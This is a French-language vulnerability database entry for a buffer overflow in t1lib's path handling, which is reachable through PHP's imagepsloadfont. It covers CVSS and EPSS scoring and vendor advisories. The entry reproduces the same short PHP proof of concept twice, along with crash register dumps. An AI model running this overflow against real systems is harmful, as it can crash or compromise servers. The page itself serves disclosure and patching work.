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Descriptions du CVE
Buffer overflow in the intT1_EnvGetCompletePath function in lib/t1lib/t1env.c in t1lib 5.1.1 allows context-dependent attackers to execute arbitrary code via a long FileName parameter. NOTE: this issue was originally reported to be in the imagepsloadfont function in php_gd2.dll in the gd (PHP_GD2) extension in PHP 5.2.3.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 30401
Date de publication : 2007-07-25 22h00 +00:00
Auteur : r0ut3r
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/25079/info
T1lib is prone to a buffer-overflow vulnerability because the library fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.
An attacker can exploit this issue to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely trigger crashes, denying service to legitimate users.
We do not know which versions of T1lib are affected.
<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability
Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)
Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4
The argument given was A * 9999
Access violation when reading [41414151]
----------------------------------------
Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
3 2 1 0 E S P U O Z D I
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Proof of concept below:
*/
if (!extension_loaded("gd"))
die("PHP_GD2 extension not loaded!");
$buff = str_repeat("A",9999);
$res = imagepsloadfont($buff);
echo "boom!!\n";
?>
Exploit Database EDB-ID : 4227
Date de publication : 2007-07-25 22h00 +00:00
Auteur : r0ut3r
EDB Vérifié : Yes
<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability
Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)
Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4
The argument given was A * 9999
Access violation when reading [41414151]
----------------------------------------
Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
3 2 1 0 E S P U O Z D I
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Proof of concept below:
*/
if (!extension_loaded("gd"))
die("PHP_GD2 extension not loaded!");
$buff = str_repeat("A",9999);
$res = imagepsloadfont($buff);
echo "boom!!\n";
?>
# milw0rm.com [2007-07-26]
Products Mentioned
Configuraton 0
Php>>Php >> Version 5.2.3
- Php>>Php >> Version 5.2.3 (Open CPE detail)
- Php>>Php >> Version 5.2.3 (Open CPE detail)
- Php>>Php >> Version 5.2.3 (Open CPE detail)
T1lib>>T1lib >> Version 5.1.1
- T1lib>>T1lib >> Version 5.1.1 (Open CPE detail)
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10557
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://www.securityfocus.com/archive/1/480239/100/100/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/archive/1/485823/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
https://www.redhat.com/archives/fedora-package-announce/2007-November/msg00724.html
Tags : vendor-advisory, x_refsource_FEDORA
Tags : vendor-advisory, x_refsource_FEDORA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:189
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/archive/1/480244/100/100/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
https://www.redhat.com/archives/fedora-package-announce/2007-November/msg00663.html
Tags : vendor-advisory, x_refsource_FEDORA
Tags : vendor-advisory, x_refsource_FEDORA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:230
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.novell.com/linux/security/advisories/2007_23_sr.html
Tags : vendor-advisory, x_refsource_SUSE
Tags : vendor-advisory, x_refsource_SUSE
http://www.securityfocus.com/archive/1/487984/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
